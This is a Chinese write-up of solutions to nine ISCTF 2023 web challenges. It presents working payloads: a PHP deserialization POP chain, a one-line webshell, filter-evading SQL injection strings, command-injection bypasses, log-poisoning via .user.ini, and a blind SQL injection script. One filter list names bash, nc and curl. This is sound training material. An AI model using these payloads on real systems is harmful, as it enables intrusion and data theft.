一.圣杯战争
本题前置知识:
//有关本题PHP反序列化漏洞魔法方法讲解
__invoke():该函数在对象被当作函数名时自动被调用
__get():该函数在对象调用一个不存在或没有调用权限的属性时自动被调用
__toString:该函数在对象被当作字符串使用时自动调用
__wakeup():该函数在对象被反序列化时自动调用
首先看题目提供的源码,发现unserialize函数,一眼丁真是反序列化漏洞
先分析一下代码,众所周知,反序列化的题要反着做,先找能执行RCE或者其它漏洞的函数,可以发现在saber类中有include()函数,可以用来执行任意代码或者读取文件,那么如果可以控制该函数的$weapon变量就成功一大半了
接下来构造pop链,要想执行include()必须先调用__invoke()魔法方法,想要调用__invoke()函数就必须把类saber的对象当作函数名使用,接着发现在类prepare中有调用$function()函数并且$function的值可以控制,我们只需要把类prepare的对象的$release变量的值变为对象saber就行,这样$function()就相当于把saber对象当作函数调用了,但想要执行$function()又必须要__get()函数被执行,所以下一步就是怎么使__get()被调用,那就是调用一个prepare对象不存在属性即可自动执行__get()魔法方法,所以就来到了类artifact,因为在__toString()有 $this->excalibuer->arrow; 该代码就是在调用属性arrow,如果使excalibuer为对象prepare,就等于在这调用了prepare类中的属性arrow,很明显prepare类中没有这个属性,所以就可以达到前面执行__get()的目的了,但$this->excalibuer->arrow在__toSting()中,接着就是想办法执行__toString(),该方法在对象被当作字符串处理时会被自动调用,所以类summon中的echo $this->Sber;就可以发挥作用力,只需要将summon类中的Sber属性的值等于artifact对象即可,到这pop链也就结束了,以下是pop链php完整代码
<?php
highlight_file(__FILE__);
error_reporting(0);
class artifact{
public $excalibuer;
public $arrow;
public function __toString(){
echo "为Saber选择了对的武器!<br>";
return $this->excalibuer->arrow;
}
}
class prepare{
public $release;
public function __get($key){
$functioin = $this->release;
echo "蓄力!咖喱棒!!<br>";
return $functioin();
}
}
class saber{
public $weapon="php://filter/convert.base64-encode/resource=flag.php";
public function __invoke(){
echo "胜利!<br>";
include($this->weapon);
echo "-----".$this->weapon."-------";
}
}
class summon{
public $Saber;
public $Rider;
public function __wakeup(){
echo "开始召唤从者!<br>";
echo $this->Saber;
}
}
$poc=new summon();
$poc->Saber=new artifact();
$poc->Saber->excalibuer=new prepare();
$poc->Saber->excalibuer->release=new saber();
echo serialize($poc);
?>
$poc=O:6:"summon":2:{s:5:"Saber";O:8:"artifact":2:{s:10:"excalibuer";O:7:"prepare":1:{s:7:"release";O:5:"saber":1:{s:6:"weapon";s:52:"php://filter/convert.base64-encode/resource=flag.php";}}s:5:"arrow";N;}s:5:"Rider";N;}
最后设置$weapon的值是伪协议即可读取文件 ,然后base64解码就有flag了,flag:ISCTF{6d24e525-6230-48b3-9e79-2c25e9cee8dd}
二.where_is_the_flag
<?php
//flag一分为3,散落在各处,分别是:xxxxxxxx、xxxx、xxx。
highlight_file(__FILE__);
//标准一句话木马~
eval($_POST[1]);
?>
直接post:1=system("ls"); 以及1=system("ls /"); 可以发现两个flag文件,只剩下最后一个flag部分了,在根目录下发现一个关键文件->start.sh,查看一下内容:
#!/bin/sh sed -i "s/{{FLAG1}}/${FLAG:0:10}/" /var/www/localhost/htdocs/flag.php
echo ${FLAG:10:10} > /flag2
export FLAG3=${FLAG:20}
FLAG3=${FLAG:20}
export FLAG="flag"
FLAG="flag" httpd -D FOREGROUND
可以看两个flag文件路径就是前面我们以及找的文件,而没有写flag3的路径,只是定义了一个名为flag3的环境变量,没有输出,所以可以在phpinfo中找到所有环境变量的值:
三. 绕进你的心里
题目源码:
<?php
highlight_file(__FILE__);
error_reporting(0);
require 'flag.php';
$str = (String)$_POST['pan_gu'];
$num = $_GET['zhurong'];
$lida1 = $_GET['hongmeng'];
$lida2 = $_GET['shennong'];
if($lida1 !== $lida2 && md5($lida1) === md5($lida2)){
echo "md5绕过了!";
if(preg_match("/[0-9]/", $num)){
die('你干嘛?哎哟!');
}
elseif(intval($num)){
if(preg_match('/.+?ISCTF/is', $str)){
die("再想想!");
}
if(stripos($str, '2023ISCTF') === false){
die("就差一点点啦!");
}
echo $flag;
}
}
?>
第一层过滤:需要两个变量不相等,但md5()加密之后的值相等,考虑使用数组,因为php大多数加密函数不能对数组进行处理,接受数组后会返回NULL,也就是空
第二层过滤:preg_match()正则匹配,$num中不能含有数字,否则会结束程序,一样的,该函数接受数组也会返回错误
第三层过滤:intval()是将其中的参数变为整数,由于上一条num已经决定使用数组了,所以需要探讨intval()函数接受数组会怎么样:若数组中没有元素,则返回0,反之返回1,所以num要是一个非空数组
第四层过滤:对$str先正则匹配,如果其中有ISCTF则结束程序,然后使用stripos()来判断‘2023ISCTF’在不在$str中,若在,则输出flag,先讲一下preg_match()函数中的字符含义,'.'表示匹配换行符,'+'表示匹配多次,'?'表示此匹配是非贪婪的,i表示不区分大小写,s表示匹配不可见字符,这里利用该函数的最大回溯次数绕过,即在payload前添加1000000个安全字符,如'aaa',这样类似于还没匹配到payload的时候就已经到了最大匹配次数,直接返回false了,所以str='a'*100000+'2023ISCTF',传参用python写个脚本就行:
import requests
url = 'http://43.249.195.138:22757/?hongmeng[]=1&shennong[]=2&zhurong[]=3'
data = {
'pan_gu':"aaa"*1000000+"2023ISCTF",
}
r = requests.post(url=url,data=data)
print(r.text)
结果如下:
四.easy_website
访问靶机发现是一个登陆界面,随便输个账号密码然后抓个包
试了一下,弱密码admin,admin可以登录,但没什么有用的回显信息,试着在admin后面添加单引号,发现报错:
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '21232f297a57a5a743894a0e4a801fc3'' at line
有了sql语句报错,很显然sql注入获取数据库数据是本题的方向,简单试一下联合查询语句之后,可以得出过滤了空格,select,union关键字,空格可以使用/**/,%09 ,%0c ,%0a,%0b,%0d代替,关键字的话双写就行
报数据库:
username='uunionnion/**/sselectelect/**/database()%23
爆表名:
username=admi'uunionnion/**/sselectelect/**/group_concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema='users'%23
爆列名:
username=admi'uunionnion/**/sselectelect/**/group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_name='users'%23
爆数据:
username=admi'uunionnion/**/sselectelect/**/group_concat(passwoorrd)/**/from/**/users%23
flag:ISCTF{72166e6d-1f92-43c6-ab28-cc5c65ddf90a}
五.wafr
<?php
/*
Read /flaggggggg.txt
*/
error_reporting(0);
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);
if(preg_match("/cat|tac|more|less|head|tail|nl|sed|sort|uniq|rev|awk|od|vi|vim/i", $_POST['code'])){//strings
die("想读我文件?大胆。");
}
elseif (preg_match("/\^|\||\~|\\$|\%|jay/i", $_POST['code'])){
die("无字母数字RCE?大胆!");
}
elseif (preg_match("/bash|nc|curl|sess|\{|:|;/i", $_POST['code'])){
die("奇技淫巧?大胆!!");
}
elseif (preg_match("/fl|ag|\.|x/i", $_POST['code'])){
die("大胆!!!");
}
else{
assert($_POST['code']);
}
过滤了很多东西,但反斜杠还可以用,那过滤的关键字就都能用了,分号可以用?>代替
payload: code=system("ta\c /f*")?>
tac 和 ta\c是一样的,所以过滤关键字一定要记得过滤 \ , '' , ""这些分隔符,否则关键字就都能用
六.ez_ini
访问后是一个上传文件页面,应该是文件上传漏洞,通过尝试后发现文件后缀不能是php,文件内容不能用<,这样的就过滤掉了一句话木马,结合题目名字,不难猜出要配合.user.ini配置文件解题,
上传文件名为.user.ini,内容为,auto_prepeng_file=/var/log/nginx/access.log,接着改UA为一句话木马,然后访问upload.php就可以getshell了
七.webinclude
文件包含题,先用dirsearch扫一目录看有没有藏东西,结果发现了当前目录下有flag.php,index.bak,访问index.bak下载源码后发现是一个js文件,对parameter进行了类似加密的操作
function string_to_int_array(str){
const intArr = [];
for(let i=0;i<str.length;i++){
const charcode = str.charCodeAt(i);
const partA = Math.floor(charcode / 26);
const partB = charcode % 26;
intArr.push(partA);
intArr.push(partB);
}
return intArr;
}
function int_array_to_text(int_array){
let txt = '';
for(let i=0;i<int_array.length;i++){
txt += String.fromCharCode(97 + int_array[i]);
}
return txt;
}
const hash = int_array_to_text(string_to_int_array(int_array_to_text(string_to_int_array(parameter))));
if(hash === 'dxdydxdudxdtdxeadxekdxea'){
window.location = 'flag.html';
}else {
document.getElementById('fail').style.display = '';
}
可以看出我们要传的变量名经过加密后要是'dxdydxdudxdtdxeadxekdxea',所以就写个脚本把这一串字符给他还原就得到变量名了,以下是js脚本:
function string_to_int_array(str){
const intArr = [];
for(let i=0;i<str.length;i++){
const charcode = str.charCodeAt(i);
const partA = charcode-97;
intArr.push(partA);
}
return intArr;
}
function int_array_to_text(int_array){
let txt = '';
for(let i=0;i<int_array.length;i+=2){
txt += String.fromCharCode(26*int_array[i]+int_array[i+1]);
}
return txt;
}
const hash=int_array_to_text(string_to_int_array(int_array_to_text(string_to_int_array('dxdydxdudxdtdxeadxekdxea'))));
alert(hash);
还原后变量名是mihoyo,有了变量名,剩下结合php伪协议直接读文件flag.php就行了
八.fuzz
<?php
/*
Read /flaggggggg.txt
Hint: 你需要学会fuzz,看着键盘一个一个对是没有灵魂的
知识补充:curl命令也可以用来读取文件哦,如curl file:///etc/passwd
*/
error_reporting(0);
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);
$file = 'file:///etc/passwd';
if(preg_match("/\`|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\+|\=|\\\\|\'|\"|\;|\<|\>|\,|\?|jay/i", $_GET['file'])){
die('你需要fuzz一下哦~');
}
if(!preg_match("/fi|le|flag/i", $_GET['file'])){
$file = $_GET['file'];
}
system('curl '.$file);
这题我当作rce做的,payload:file=||tac
/f[a-z]aggggggg.txt
解释一下,||的作用是当前面的命令执行失败时,才会执行后面的命令,显然curl||是执行失败的,也就会执行后tac 命令了,[a-z]表示匹配一个从a 到z的字符,L当然也在其中
九.1z_sql
sql注入题,简单测试后发现可以查表名列名的库全被ban了,但题目给了两个附加,猜测是表名和列名,这题sleep()也没了,可以考虑用布尔盲注,因为当我们输入admin'#的时候页面会有一个hint,虽然这串hint没什么用,但可以用来证明sql语句是对的,下面是布尔盲注脚本
import requests
url = "http://43.249.195.138:21828/"
result = ""
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
payload = "select group_concat(password) from users"
data = {
'username':f"admin'and if(ord(substr(({payload}),{i},1))>{mid},1,0)#",
'password': 'admin'
}
r = requests.post(url,data=data)
#print(r.text)
if r.text.find("hint")>0: #该步骤表示当前字符不是正确答案 应该继续递增
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)
表名users,列名username和password是在附件里提示的
最后拿到账号:admin 密码:we1come7o1sctf
登录即可拿到flag:ISCTF{3f523bfb-8bd7-42e3-9832-e6e6540d10fa}
版权归原作者 那年那山那海 所有, 如有侵权,请联系我们删除。